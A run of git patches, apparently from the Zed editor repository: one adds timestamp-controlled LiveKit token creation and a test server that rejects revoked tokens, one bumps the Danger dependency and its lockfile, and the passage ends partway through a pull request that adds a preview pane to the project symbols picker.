@@ -73,22 +84,55 @@ pub fn create(
     identity: Option<&str>,
     video_grant: VideoGrant,
 ) -> Result<String> {
-    if video_grant.room_join.is_some() && identity.is_none() {
+    create_with_timestamp_source(
+        api_key,
+        secret_key,
+        identity,
+        video_grant,
+        &SystemUnixTimestampSource,
+    )
+}
+
+pub fn create_with_timestamp_source(
+    api_key: &str,
+    secret_key: &str,
+    identity: Option<&str>,
+    video_grant: VideoGrant,
+    timestamp_source: &dyn UnixTimestampSource,
+) -> Result<String> {
+    let issued_at = timestamp_source.unix_timestamp()?;
+    create_with_issued_at(api_key, secret_key, identity, video_grant, issued_at)
+}
+
+fn create_with_issued_at(
+    api_key: &str,
+    secret_key: &str,
+    identity: Option<&str>,
+    video_grant: VideoGrant,
+    issued_at: u64,
+) -> Result<String> {
+    let room_join = video_grant.room_join.unwrap_or(false);
+    if room_join && identity.is_none() {
         anyhow::bail!("identity is required for room_join grant, but it is none");
     }
 
-    let now = SystemTime::now();
+    let expires_at = issued_at
+        .checked_add(DEFAULT_TTL.as_secs())
+        .context("token expiration overflow")?;
+    let not_before = if room_join {
+        // LiveKit Cloud applies participant revocations by comparing the
+        // revocation timestamp to room-join token `nbf`.
+        issued_at
+    } else {
+        0
+    };
 
     let claims = ClaimGrants {
         iss: Cow::Borrowed(api_key),
         sub: identity.map(Cow::Borrowed),
-        iat: now.duration_since(UNIX_EPOCH).unwrap().as_secs(),
-        exp: now
-            .add(DEFAULT_TTL)
-            .duration_since(UNIX_EPOCH)
-            .unwrap()
-            .as_secs(),
-        nbf: 0,
+        iat: issued_at,
+        exp: expires_at,
+        nbf: not_before,
         jwtid: identity.map(Cow::Borrowed),
         video: video_grant,
     };
@@ -108,3 +152,127 @@ pub fn validate<'a>(token: &'a str, secret_key: &str) -> Result<ClaimGrants<'a>>
 
     Ok(token.claims)
 }
+
+#[cfg(any(test, feature = "test-support"))]
+pub fn validate_with_timestamp_source<'a>(
+    token: &'a str,
+    secret_key: &str,
+    timestamp_source: &dyn UnixTimestampSource,
+) -> Result<ClaimGrants<'a>> {
+    let mut validation = Validation::default();
+    validation.validate_exp = false;
+    validation.validate_nbf = false;
+    let token: jsonwebtoken::TokenData<ClaimGrants<'_>> = jsonwebtoken::decode(
+        token,
+        &DecodingKey::from_secret(secret_key.as_ref()),
+        &validation,
+    )?;
+    let claims = token.claims;
+    let timestamp = timestamp_source.unix_timestamp()?;
+
+    anyhow::ensure!(claims.nbf <= timestamp, "token is not yet valid");
+    anyhow::ensure!(claims.exp > timestamp, "token has expired");
+
+    Ok(claims)
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+    use crate::{Client as _, LiveKitClient};
+    use std::sync::Arc;
+
+    const ISSUED_AT: u64 = 1_234_567;
+
+    struct FixedUnixTimestampSource(u64);
+
+    impl UnixTimestampSource for FixedUnixTimestampSource {
+        fn unix_timestamp(&self) -> Result<u64> {
+            Ok(self.0)
+        }
+    }
+
+    #[test]
+    fn token_not_before_matches_issue_time() -> Result<()> {
+        let token = create_with_timestamp_source(
+            "api-key",
+            "secret-key",
+            Some("participant"),
+            VideoGrant::to_join("room"),
+            &FixedUnixTimestampSource(ISSUED_AT),
+        )?;
+
+        assert_claims_timestamp(&token, ISSUED_AT, ISSUED_AT)?;
+        Ok(())
+    }
+
+    #[test]
+    fn room_token_not_before_matches_issue_time() -> Result<()> {
+        let client = LiveKitClient::new_with_timestamp_source(
+            "http://livekit.test".into(),
+            "api-key".into(),
+            "secret-key".into(),
+            Arc::new(FixedUnixTimestampSource(ISSUED_AT)),
+        );
+        let token = client.room_token("room", "participant")?;
+
+        let claims = assert_claims_timestamp(&token, ISSUED_AT, ISSUED_AT)?;
+        assert_eq!(claims.video.room_join, Some(true));
+        assert_eq!(claims.video.can_publish, Some(true));
+        assert_eq!(claims.video.can_subscribe, Some(true));
+
+        Ok(())
+    }
+
+    #[test]
+    fn guest_token_not_before_matches_issue_time() -> Result<()> {
+        let client = LiveKitClient::new_with_timestamp_source(
+            "http://livekit.test".into(),
+            "api-key".into(),
+            "secret-key".into(),
+            Arc::new(FixedUnixTimestampSource(ISSUED_AT)),
+        );
+        let token = client.guest_token("room", "participant")?;
+
+        let claims = assert_claims_timestamp(&token, ISSUED_AT, ISSUED_AT)?;
+        assert_eq!(claims.video.room_join, Some(true));
+        assert_eq!(claims.video.can_publish, Some(false));
+        assert_eq!(claims.video.can_subscribe, Some(true));
+
+        Ok(())
+    }
+
+    #[test]
+    fn admin_token_not_before_remains_unset() -> Result<()> {
+        let token = create_with_timestamp_source(
+            "api-key",
+            "secret-key",
+            None,
+            VideoGrant::to_admin("room"),
+            &FixedUnixTimestampSource(ISSUED_AT),
+        )?;
+
+        let claims = assert_claims_timestamp(&token, ISSUED_AT, 0)?;
+        assert_eq!(claims.video.room_admin, Some(true));
+
+        Ok(())
+    }
+
+    fn assert_claims_timestamp(
+        token: &str,
+        issued_at: u64,
+        expected_not_before: u64,
+    ) -> Result<ClaimGrants<'_>> {
+        let claims = validate_with_timestamp_source(
+            token,
+            "secret-key",
+            &FixedUnixTimestampSource(issued_at),
+        )?;
+
+        assert_eq!(claims.iat, issued_at);
+        assert_eq!(claims.nbf, expected_not_before);
+        assert_eq!(claims.exp, issued_at + DEFAULT_TTL.as_secs());
+
+        Ok(claims)
+    }
+}
diff --git a/crates/livekit_client/Cargo.toml b/crates/livekit_client/Cargo.toml
index 42c13f094c1893..a229d39ca8c72c 100644
--- a/crates/livekit_client/Cargo.toml
+++ b/crates/livekit_client/Cargo.toml
@@ -17,7 +17,7 @@ doctest = false
 name = "test_app"
 
 [features]
-test-support = ["collections/test-support", "gpui/test-support"]
+test-support = ["collections/test-support", "gpui/test-support", "livekit_api/test-support"]
 
 [dependencies]
 anyhow.workspace = true
@@ -65,6 +65,7 @@ objc.workspace = true
 collections = { workspace = true, features = ["test-support"] }
 gpui = { workspace = true, features = ["test-support"] }
 gpui_platform.workspace = true
+livekit_api = { workspace = true, features = ["test-support"] }
 simplelog.workspace = true
 
 [build-dependencies]
diff --git a/crates/livekit_client/src/test.rs b/crates/livekit_client/src/test.rs
index 955f92dc19d012..d742dd06617197 100644
--- a/crates/livekit_client/src/test.rs
+++ b/crates/livekit_client/src/test.rs
@@ -57,6 +57,25 @@ pub struct TestServer {
     pub secret_key: String,
     rooms: Mutex<HashMap<String, TestServerRoom>>,
     executor: BackgroundExecutor,
+    timestamp_source: Arc<dyn token::UnixTimestampSource>,
+}
+
+pub struct ManualUnixTimestampSource(AtomicU64);
+
+impl ManualUnixTimestampSource {
+    pub fn new(timestamp: u64) -> Self {
+        Self(AtomicU64::new(timestamp))
+    }
+
+    pub fn advance(&self) {
+        self.0.fetch_add(1, SeqCst);
+    }
+}
+
+impl token::UnixTimestampSource for ManualUnixTimestampSource {
+    fn unix_timestamp(&self) -> Result<u64> {
+        Ok(self.0.load(SeqCst))
+    }
 }
 
 impl TestServer {
@@ -65,6 +84,22 @@ impl TestServer {
         api_key: String,
         secret_key: String,
         executor: BackgroundExecutor,
+    ) -> Result<Arc<TestServer>> {
+        Self::create_with_timestamp_source(
+            url,
+            api_key,
+            secret_key,
+            executor,
+            Arc::new(token::SystemUnixTimestampSource),
+        )
+    }
+
+    pub fn create_with_timestamp_source(
+        url: String,
+        api_key: String,
+        secret_key: String,
+        executor: BackgroundExecutor,
+        timestamp_source: Arc<dyn token::UnixTimestampSource>,
     ) -> Result<Arc<TestServer>> {
         let mut servers = SERVERS.lock();
         if let BTreeEntry::Vacant(e) = servers.entry(url.clone()) {
@@ -74,6 +109,7 @@ impl TestServer {
                 secret_key,
                 rooms: Default::default(),
                 executor,
+                timestamp_source,
             });
             e.insert(server.clone());
             Ok(server)
@@ -104,6 +140,20 @@ impl TestServer {
         }
     }
 
+    #[cfg(any(test, feature = "test-support"))]
+    fn validate_token<'a>(&self, token: &'a str) -> Result<token::ClaimGrants<'a>> {
+        token::validate_with_timestamp_source(
+            token,
+            &self.secret_key,
+            self.timestamp_source.as_ref(),
+        )
+    }
+
+    #[cfg(not(any(test, feature = "test-support")))]
+    fn validate_token<'a>(&self, token: &'a str) -> Result<token::ClaimGrants<'a>> {
+        token::validate(token, &self.secret_key)
+    }
+
     pub async fn create_room(&self, room: String) -> Result<()> {
         self.simulate_random_delay().await;
 
@@ -129,11 +179,19 @@ impl TestServer {
     async fn join_room(&self, token: String, client_room: Room) -> Result<ParticipantIdentity> {
         self.simulate_random_delay().await;
 
-        let claims = livekit_api::token::validate(&token, &self.secret_key)?;
-        let identity = ParticipantIdentity(claims.sub.unwrap().to_string());
-        let room_name = claims.video.room.unwrap();
+        let claims = self.validate_token(&token)?;
+        let identity = ParticipantIdentity(
+            claims
+                .sub
+                .context("missing participant identity")?
+                .to_string(),
+        );
+        let room_name = claims.video.room.context("missing room name")?.to_string();
         let mut server_rooms = self.rooms.lock();
-        let room = (*server_rooms).entry(room_name.to_string()).or_default();
+        let room = (*server_rooms).entry(room_name.clone()).or_default();
+        if let Some(revoked_before) = room.token_revocations.get(&identity) {
+            anyhow::ensure!(claims.nbf >= *revoked_before, "invalid token: revoked");
+        }
 
         if let Entry::Vacant(e) = room.client_rooms.entry(identity.clone()) {
             for server_track in &room.video_tracks {
@@ -192,7 +250,7 @@ impl TestServer {
     async fn leave_room(&self, token: String) -> Result<()> {
         self.simulate_random_delay().await;
 
-        let claims = livekit_api::token::validate(&token, &self.secret_key)?;
+        let claims = self.validate_token(&token)?;
         let identity = ParticipantIdentity(claims.sub.unwrap().to_string());
         let room_name = claims.video.room.unwrap();
         let mut server_rooms = self.rooms.lock();
@@ -209,7 +267,7 @@ impl TestServer {
         &self,
         token: String,
     ) -> Result<HashMap<ParticipantIdentity, RemoteParticipant>> {
-        let claims = livekit_api::token::validate(&token, &self.secret_key)?;
+        let claims = self.validate_token(&token)?;
         let local_identity = ParticipantIdentity(claims.sub.unwrap().to_string());
         let room_name = claims.video.room.unwrap().to_string();
 
@@ -244,14 +302,25 @@ impl TestServer {
         identity: ParticipantIdentity,
     ) -> Result<()> {
         self.simulate_random_delay().await;
+        let revoked_before = self.timestamp_source.unix_timestamp()?;
 
         let mut server_rooms = self.rooms.lock();
         let room = server_rooms
             .get_mut(&room_name)
             .with_context(|| format!("room {room_name} does not exist"))?;
-        room.client_rooms
+        let removed_room = room
+            .client_rooms
             .remove(&identity)
             .with_context(|| format!("participant {identity:?} did not join room {room_name:?}"))?;
+        room.token_revocations.insert(identity, revoked_before);
+        let mut removed_room = removed_room.0.lock();
+        removed_room.connection_state = ConnectionState::Disconnected;
+        removed_room
+            .updates_tx
+            .blocking_send(RoomEvent::Disconnected {
+                reason: "PARTICIPANT_REMOVED",
+            })
+            .ok();
         Ok(())
     }
 
@@ -262,13 +331,18 @@ impl TestServer {
         permission: proto::ParticipantPermission,
     ) -> Result<()> {
         self.simulate_random_delay().await;
+        let revoked_before = self.timestamp_source.unix_timestamp()?;
 
         let mut server_rooms = self.rooms.lock();
         let room = server_rooms
             .get_mut(&room_name)
             .with_context(|| format!("room {room_name} does not exist"))?;
+        let identity = ParticipantIdentity(identity);
         room.participant_permissions
-            .insert(ParticipantIdentity(identity), permission);
+            .insert(identity.clone(), permission);
+        // Permission changes in LiveKit Cloud invalidate existing participant
+        // tokens, so the mock needs to reject tokens minted before the update.
+        room.token_revocations.insert(identity, revoked_before);
         Ok(())
     }
 
@@ -298,7 +372,7 @@ impl TestServer {
     ) -> Result<TrackSid> {
         self.simulate_random_delay().await;
 
-        let claims = livekit_api::token::validate(&token, &self.secret_key)?;
+        let claims = self.validate_token(&token)?;
         let identity = ParticipantIdentity(claims.sub.unwrap().to_string());
         let room_name = claims.video.room.unwrap();
 
@@ -362,7 +436,7 @@ impl TestServer {
     ) -> Result<TrackSid> {
         self.simulate_random_delay().await;
 
-        let claims = livekit_api::token::validate(&token, &self.secret_key)?;
+        let claims = self.validate_token(&token)?;
         let identity = ParticipantIdentity(claims.sub.unwrap().to_string());
         let room_name = claims.video.room.unwrap();
 
@@ -421,7 +495,7 @@ impl TestServer {
     }
 
     pub(crate) async fn unpublish_track(&self, token: String, track_sid: &TrackSid) -> Result<()> {
-        let claims = livekit_api::token::validate(&token, &self.secret_key)?;
+        let claims = self.validate_token(&token)?;
         let identity = ParticipantIdentity(claims.sub.unwrap().to_string());
         let room_name = claims.video.room.unwrap();
 
@@ -503,7 +577,7 @@ impl TestServer {
         track_sid: &TrackSid,
         muted: bool,
     ) -> Result<()> {
-        let claims = livekit_api::token::validate(token, &self.secret_key)?;
+        let claims = self.validate_token(token)?;
         let room_name = claims.video.room.unwrap();
         let identity = ParticipantIdentity(claims.sub.unwrap().to_string());
         let mut server_rooms = self.rooms.lock();
@@ -557,7 +631,7 @@ impl TestServer {
     }
 
     pub(crate) fn is_track_muted(&self, token: &str, track_sid: &TrackSid) -> Option<bool> {
-        let claims = livekit_api::token::validate(token, &self.secret_key).ok()?;
+        let claims = self.validate_token(token).ok()?;
         let room_name = claims.video.room.unwrap();
 
         let mut server_rooms = self.rooms.lock();
@@ -572,7 +646,7 @@ impl TestServer {
     }
 
     pub(crate) fn video_tracks(&self, token: String) -> Result<Vec<RemoteVideoTrack>> {
-        let claims = livekit_api::token::validate(&token, &self.secret_key)?;
+        let claims = self.validate_token(&token)?;
         let room_name = claims.video.room.unwrap();
         let identity = ParticipantIdentity(claims.sub.unwrap().to_string());
 
@@ -595,7 +669,7 @@ impl TestServer {
     }
 
     pub(crate) fn audio_tracks(&self, token: String) -> Result<Vec<RemoteAudioTrack>> {
-        let claims = livekit_api::token::validate(&token, &self.secret_key)?;
+        let claims = self.validate_token(&token)?;
         let room_name = claims.video.room.unwrap();
         let identity = ParticipantIdentity(claims.sub.unwrap().to_string());
 
@@ -629,6 +703,7 @@ struct TestServerRoom {
     video_tracks: Vec<Arc<TestServerVideoTrack>>,
     audio_tracks: Vec<Arc<TestServerAudioTrack>>,
     participant_permissions: HashMap<ParticipantIdentity, proto::ParticipantPermission>,
+    token_revocations: HashMap<ParticipantIdentity, u64>,
 }
 
 #[derive(Debug)]
@@ -690,21 +765,23 @@ impl livekit_api::Client for TestApiClient {
 
     fn room_token(&self, room: &str, identity: &str) -> Result<String> {
         let server = TestServer::get(&self.url)?;
-        token::create(
+        token::create_with_timestamp_source(
             &server.api_key,
             &server.secret_key,
             Some(identity),
             token::VideoGrant::to_join(room),
+            server.timestamp_source.as_ref(),
         )
     }
 
     fn guest_token(&self, room: &str, identity: &str) -> Result<String> {
         let server = TestServer::get(&self.url)?;
-        token::create(
+        token::create_with_timestamp_source(
             &server.api_key,
             &server.secret_key,
             Some(identity),
             token::VideoGrant::for_guest(room),
+            server.timestamp_source.as_ref(),
         )
     }
 }
@@ -853,3 +930,168 @@ impl WeakRoom {
         self.0.upgrade().map(Room)
     }
 }
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+    use gpui::TestAppContext;
+    use livekit_api::Client as _;
+    use std::{ops::Deref, sync::atomic::AtomicUsize};
+
+    struct TestServerGuard {
+        server: Arc<TestServer>,
+        timestamp_source: Arc<ManualUnixTimestampSource>,
+    }
+
+    impl TestServerGuard {
+        fn advance_timestamp(&self) {
+            self.timestamp_source.advance();
+        }
+    }
+
+    impl Deref for TestServerGuard {
+        type Target = TestServer;
+
+        fn deref(&self) -> &Self::Target {
+            self.server.as_ref()
+        }
+    }
+
+    impl Drop for TestServerGuard {
+        fn drop(&mut self) {
+            self.server.teardown().ok();
+        }
+    }
+
+    fn create_test_server(name: &str, executor: BackgroundExecutor) -> TestServerGuard {
+        static NEXT_SERVER_ID: AtomicUsize = AtomicUsize::new(0);
+        let server_id = NEXT_SERVER_ID.fetch_add(1, SeqCst);
+        let timestamp_source = Arc::new(ManualUnixTimestampSource::new(1_234_567));
+        let server = TestServer::create_with_timestamp_source(
+            format!("http://livekit-{name}-{server_id}.test"),
+            format!("api-key-{server_id}"),
+            format!("secret-key-{server_id}"),
+            executor,
+            timestamp_source.clone(),
+        )
+        .expect("create LiveKit test server");
+        TestServerGuard {
+            server,
+            timestamp_source,
+        }
+    }
+
+    async fn assert_token_was_revoked(server: &TestServer, token: String, cx: &mut TestAppContext) {
+        match Room::connect(server.url.clone(), token, &mut cx.to_async()).await {
+            Ok(_) => panic!("revoked token unexpectedly connected"),
+            Err(error) => {
+                let error = format!("{error:#}");
+                assert!(
+                    error.contains("invalid token: revoked"),
+                    "expected revoked token error, got {error}"
+                );
+            }
+        }
+    }
+
+    #[gpui::test]
+    async fn token_created_after_participant_removal_can_join(
+        executor: BackgroundExecutor,
+        cx: &mut TestAppContext,
+    ) {
+        let server = create_test_server("room-token", executor);
+        server
+            .create_room("room".into())
+            .await
+            .expect("create LiveKit test room");
+        let api_client = server.create_api_client();
+
+        let initial_token = api_client
+            .room_token("room", "participant")
+            .expect("create initial room token");
+        let (initial_room, _) = Room::connect(
+            server.url.clone(),
+            initial_token.clone(),
+            &mut cx.to_async(),
+        )
+        .await
+        .expect("connect with initial room token");
+
+        server.advance_timestamp();
+        api_client
+            .remove_participant("room".into(), "participant".into())
+            .await
+            .expect("remove participant");
+
+        assert_eq!(
+            initial_room.connection_state(),
+            ConnectionState::Disconnected
+        );
+        assert_token_was_revoked(&server, initial_token, cx).await;
+
+        let fresh_token = api_client
+            .room_token("room", "participant")
+            .expect("create fresh room token");
+        let (fresh_room, _) = Room::connect(server.url.clone(), fresh_token, &mut cx.to_async())
+            .await
+            .expect("connect with fresh room token");
+
+        assert_eq!(fresh_room.connection_state(), ConnectionState::Connected);
+    }
+
+    #[gpui::test]
+    async fn guest_token_created_after_permission_update_can_join(
+        executor: BackgroundExecutor,
+        cx: &mut TestAppContext,
+    ) {
+        let server = create_test_server("guest-token", executor);
+        server
+            .create_room("room".into())
+            .await
+            .expect("create LiveKit test room");
+        let api_client = server.create_api_client();
+
+        let initial_token = api_client
+            .guest_token("room", "participant")
+            .expect("create initial guest token");
+        let (initial_room, _) = Room::connect(
+            server.url.clone(),
+            initial_token.clone(),
+            &mut cx.to_async(),
+        )
+        .await
+        .expect("connect with initial guest token");
+
+        server.advance_timestamp();
+        api_client
+            .update_participant(
+                "room".into(),
+                "participant".into(),
+                proto::ParticipantPermission {
+                    can_subscribe: true,
+                    can_publish: true,
+                    can_publish_data: true,
+                    hidden: false,
+                    recorder: false,
+                },
+            )
+            .await
+            .expect("update participant permissions");
+        assert_token_was_revoked(&server, initial_token, cx).await;
+
+        server.disconnect_client("participant".into()).await;
+        assert_eq!(
+            initial_room.connection_state(),
+            ConnectionState::Disconnected
+        );
+
+        let fresh_token = api_client
+            .guest_token("room", "participant")
+            .expect("create fresh guest token");
+        let (fresh_room, _) = Room::connect(server.url.clone(), fresh_token, &mut cx.to_async())
+            .await
+            .expect("connect with fresh guest token");
+
+        assert_eq!(fresh_room.connection_state(), ConnectionState::Connected);
+    }
+}

From 616b76cd5912441676e5f015c084a9d57b6c0cfb Mon Sep 17 00:00:00 2001
From: Ben Brandt <benjamin.j.brandt@gmail.com>
Date: Fri, 3 Jul 2026 12:10:41 +0200
Subject: [PATCH 238/772] Update Danger to 13.0.8 (#60346)

Release Notes:

- N/A
---
 script/danger/package.json   |  2 +-
 script/danger/pnpm-lock.yaml | 63 ++++++++++++++++++------------------
 2 files changed, 33 insertions(+), 32 deletions(-)

diff --git a/script/danger/package.json b/script/danger/package.json
index b0c33a3f505909..cf2782ad6317a8 100644
--- a/script/danger/package.json
+++ b/script/danger/package.json
@@ -7,7 +7,7 @@
     "danger": "danger"
   },
   "devDependencies": {
-    "danger": "13.0.7",
+    "danger": "13.0.8",
     "danger-plugin-pr-hygiene": "0.7.1"
   }
 }
diff --git a/script/danger/pnpm-lock.yaml b/script/danger/pnpm-lock.yaml
index 197840ca3b8b43..3dc4722572b61e 100644
--- a/script/danger/pnpm-lock.yaml
+++ b/script/danger/pnpm-lock.yaml
@@ -9,8 +9,8 @@ importers:
   .:
     devDependencies:
       danger:
-        specifier: 13.0.7
-        version: 13.0.7
+        specifier: 13.0.8
+        version: 13.0.8
       danger-plugin-pr-hygiene:
         specifier: 0.7.1
         version: 0.7.1
@@ -134,8 +134,8 @@ packages:
   danger-plugin-pr-hygiene@0.7.1:
     resolution: {integrity: sha512-ll070nNaL3OeO2nooYWflPE/CRKLeq8GiH2C68u5zM3gW4gepH89GhVv0sYNNGLx4cYwa1zZ/TuiYYhC49z06Q==}
 
-  danger@13.0.7:
-    resolution: {integrity: sha512-H7Syz9P3np7tgOjTYs1DDogjlknPWYwBIJXUTFIK5iFZOQ0b8irkUz5swOLFUmw7j0aKuybhwkXTcfyHFvRzCQ==}
+  danger@13.0.8:
+    resolution: {integrity: sha512-j2UCsgtcjTuftJ79+W9N8UGdIKBrCjTYqrjVf7rpqRaZBfi/VqKVvzWnTxFrj25Gt5YCwbRaY3+cG7tovV3Vtg==}
     engines: {node: '>=18'}
     hasBin: true
 
@@ -166,8 +166,8 @@ packages:
     resolution: {integrity: sha512-Zf5H2Kxt2xjTvbJvP2ZWLEICxA6j+hAmMzIlypy4xcBg1vKVnx89Wy0GbS+kf5cwCVFFzdCFh2XSCFNULS6csw==}
     engines: {node: '>= 0.4'}
 
-  es-object-atoms@1.1.1:
-    resolution: {integrity: sha512-FGgH2h8zKNim9ljj7dankFPcICIK9Cp5bm+c2gQSYePhpaG5+esrLODihIorn+Pe6FGJzWhXQotPv73jTaldXA==}
+  es-object-atoms@1.1.2:
+    resolution: {integrity: sha512-HWcBoN6NileqtSydK2FqHbS/LoDd2pqrnQHLyJzBj4kOp/ky2MWMN694xOfkK8/SnUsW2DH7EfyVlydKCsm1Zw==}
     engines: {node: '>= 0.4'}
 
   fast-json-patch@3.1.1:
@@ -204,8 +204,8 @@ packages:
     resolution: {integrity: sha512-1cDNdwJ2Jaohmb3sg4OmKaMBwuC48sYni5HUw2DvsC8LjGTLK9h+eb1X6RyuOHe4hT0ULCW68iomhjUoKUqlPQ==}
     engines: {node: '>= 0.4'}
 
-  hasown@2.0.3:
-    resolution: {integrity: sha512-ej4AhfhfL2Q2zpMmLo7U1Uv9+PyhIZpgQLGT1F9miIGmiCJIoCgSmczFdrc97mWT4kVY72KA+WnnhJ5pghSvSg==}
+  hasown@2.0.4:
+    resolution: {integrity: sha512-T2UbfbBEF32wiepXIsMlTW9+dDYC6wMh/t/vYA4tuOMKqWz/n3vr1NFSxQiyP+zk2mXsoMA/i/7qV6LKut1t1A==}
     engines: {node: '>= 0.4'}
 
   http-proxy-agent@7.0.2:
@@ -338,8 +338,8 @@ packages:
     resolution: {integrity: sha512-rksPWtoZb2ZpT5OVgtmy0KHVM+Dca3iVwWY9ifwhcexfjebtgjg3wmrUt9PvJ59XIYBcknQeYHD8IAnVlh9lAw==}
     hasBin: true
 
-  qs@6.15.1:
-    resolution: {integrity: sha512-6YHEFRL9mfgcAvql/XhwTvf5jKcOiiupt2FiJxHkiX1z4j7WL8J/jRHYLluORvc1XxB5rV20KoeK00gVJamspg==}
+  qs@6.15.3:
+    resolution: {integrity: sha512-O9gl3zCl5h5blw1KGUzQKhA5oUXSl8rwUIM5o0S3nCXMliSvy5Dzx7/DJcI+SwgICv+IneSZwhBh1oSyEHA71A==}
     engines: {node: '>=0.6'}
 
   readline-sync@1.4.10:
@@ -360,8 +360,8 @@ packages:
   safe-buffer@5.2.1:
     resolution: {integrity: sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==}
 
-  semver@7.7.4:
-    resolution: {integrity: sha512-vFKC2IEtQnVhpT78h1Yp8wzwrf8CM+MzKMHGJZfBtzhZNycRFnXsHk6E5TxIkkMsgNS7mdX3AGB7x2QM2di4lA==}
+  semver@7.8.5:
+    resolution: {integrity: sha512-Y7/KDsb8LjooZpwaqGyulO6DQlksgCncchHGk+sZIY4SBvUocMBEFH5Ur1fI4dV+Jvl0w6cjvucaIi40puRioA==}
     engines: {node: '>=10'}
     hasBin: true
 
@@ -377,8 +377,8 @@ packages:
     resolution: {integrity: sha512-WPS/HvHQTYnHisLo9McqBHOJk2FkHO/tlpvldyrnem4aeQp4hai3gythswg6p01oSoTl58rcpiFAjF2br2Ak2A==}
     engines: {node: '>= 0.4'}
 
-  side-channel@1.1.0:
-    resolution: {integrity: sha512-ZX99e6tRweoUXqR+VBrslhda51Nh5MTQwou5tnUDgbtyM0dBgmhEDtWGP/xbKn6hqfPRHujUNwz5fy/wbbhnpw==}
+  side-channel@1.1.1:
+    resolution: {integrity: sha512-6x6dK6zJdpTzF4sQeNYxwtvBzf6Eg4GtlesS94HOvTudUeyK2WXAaIfmDgsyslYrRBeFIlsi54AYsFGUuhmvrQ==}
     engines: {node: '>= 0.4'}
 
   supports-color@10.2.2:
@@ -389,8 +389,8 @@ packages:
     resolution: {integrity: sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==}
     engines: {node: '>=8'}
 
-  supports-hyperlinks@4.4.0:
-    resolution: {integrity: sha512-UKbpT93hN5Nr9go5UY7bopIB9YQlMz9nm/ct4IXt/irb5YRkn9WaqrOBJGZ5Pwvsd5FQzSVeYlGdXoCAPQZrPg==}
+  supports-hyperlinks@4.5.0:
+    resolution: {integrity: sha512-ZW2OvfeCXrNTbLakPUzjQG922EeGCOteFSVoek5DKStTh898wf7zgtuFlzQN8HfZCxC3Eh02yJVrRW51hADf+w==}
     engines: {node: '>=20'}
 
   to-regex-range@5.0.1:
@@ -424,12 +424,12 @@ snapshots:
   '@gitbeaker/core@38.12.1':
     dependencies:
       '@gitbeaker/requester-utils': 38.12.1
-      qs: 6.15.1
+      qs: 6.15.3
       xcase: 2.0.1
 
   '@gitbeaker/requester-utils@38.12.1':
     dependencies:
-      qs: 6.15.1
+      qs: 6.15.3
       xcase: 2.0.1
 
   '@gitbeaker/rest@38.12.1':
@@ -547,7 +547,7 @@ snapshots:
 
   danger-plugin-pr-hygiene@0.7.1: {}
 
-  danger@13.0.7:
+  danger@13.0.8:
     dependencies:
       '@gitbeaker/rest': 38.12.1
       '@octokit/rest': 20.1.2
@@ -581,7 +581,7 @@ snapshots:
       readline-sync: 1.4.10
       regenerator-runtime: 0.13.11
       require-from-string: 2.0.2
-      supports-hyperlinks: 4.4.0
+      supports-hyperlinks: 4.5.0
     transitivePeerDependencies:
       - encoding
       - supports-color
@@ -606,7 +606,7 @@ snapshots:
 
   es-errors@1.3.0: {}
 
-  es-object-atoms@1.1.1:
+  es-object-atoms@1.1.2:
     dependencies:
       es-errors: 1.3.0
 
@@ -623,18 +623,18 @@ snapshots:
       call-bind-apply-helpers: 1.0.2
       es-define-property: 1.0.1
       es-errors: 1.3.0
-      es-object-atoms: 1.1.1
+      es-object-atoms: 1.1.2
       function-bind: 1.1.2
       get-proto: 1.0.1
       gopd: 1.2.0
       has-symbols: 1.1.0
-      hasown: 2.0.3
+      hasown: 2.0.4
       math-intrinsics: 1.1.0
 
   get-proto@1.0.1:
     dependencies:
       dunder-proto: 1.0.1
-      es-object-atoms: 1.1.1
+      es-object-atoms: 1.1.2
 
   gopd@1.2.0: {}
 
@@ -644,7 +644,7 @@ snapshots:
 
   has-symbols@1.1.0: {}
 
-  hasown@2.0.3:
+  hasown@2.0.4:
     dependencies:
       function-bind: 1.1.2
 
@@ -683,7 +683,7 @@ snapshots:
       lodash.isstring: 4.0.1
       lodash.once: 4.1.1
       ms: 2.1.3
-      semver: 7.7.4
+      semver: 7.8.5
 
   jwa@2.0.1:
     dependencies:
@@ -762,9 +762,10 @@ snapshots:
       colors: 1.4.0
       minimist: 1.2.8
 
-  qs@6.15.1:
+  qs@6.15.3:
     dependencies:
-      side-channel: 1.1.0
+      es-define-property: 1.0.1
+      side-channel: 1.1.1
 
   readline-sync@1.4.10: {}
 
@@ -776,7 +777,7 @@ snapshots:
 
   safe-buffer@5.2.1: {}
 
-  semver@7.7.4: {}
+  semver@7.8.5: {}
 
   side-channel-list@1.0.1:
     dependencies:
@@ -798,7 +799,7 @@ snapshots:
       object-inspect: 1.13.4
       side-channel-map: 1.0.1
 
-  side-channel@1.1.0:
+  side-channel@1.1.1:
     dependencies:
       es-errors: 1.3.0
       object-inspect: 1.13.4
@@ -812,7 +813,7 @@ snapshots:
     dependencies:
       has-flag: 4.0.0
 
-  supports-hyperlinks@4.4.0:
+  supports-hyperlinks@4.5.0:
     dependencies:
       has-flag: 5.0.1
       supports-color: 10.2.2

From 9448417157a9e690d87213c89ea9913803373b4f Mon Sep 17 00:00:00 2001
From: august <atg271@gmail.com>
Date: Fri, 3 Jul 2026 03:48:15 -0700
Subject: [PATCH 239/772] project_symbols: Add preview to project symbols
 picker (#59863)

Candidate fix for #59822.

Adds a live preview pane to the project symbols picker, matching the
file finder and project search pickers. When the selection moves, the
selected symbol's file is shown in the preview with its declaration line
highlighted and vertically centered.

## Changes
- `project_symbols`: construct the picker with
`uniform_list_with_preview`; asynchronously open the buffer for the
selected symbol (cached by candidate id, cleared on each new query) and
implement `try_get_preview_data_for_match` to return the buffer plus the
symbol's anchor range.
- `picker`: add a public `refresh_preview` so a delegate can push
preview data once a buffer finishes opening asynchronously (the symbol
buffer is not available synchronously, unlike text search which already
holds open buffers).


#### Before
<img width="1725" height="712" alt="image"
src="https://github.com/user-attachments/assets/21dcd7d6-7cc4-4de8-ab7d-2f1ce143e814"
/>

##### After
<img width="1725" height="712" alt="image"
src="https://github.com/user-attachments/assets/db981db8-0a61-43bc-9838-c01b7bdbbf78"
/>

Can turn preview pane off by clicking at the bottom button!

## AI disclosure
AI was used for understanding the codebase and formatting this PR.

Release Notes:

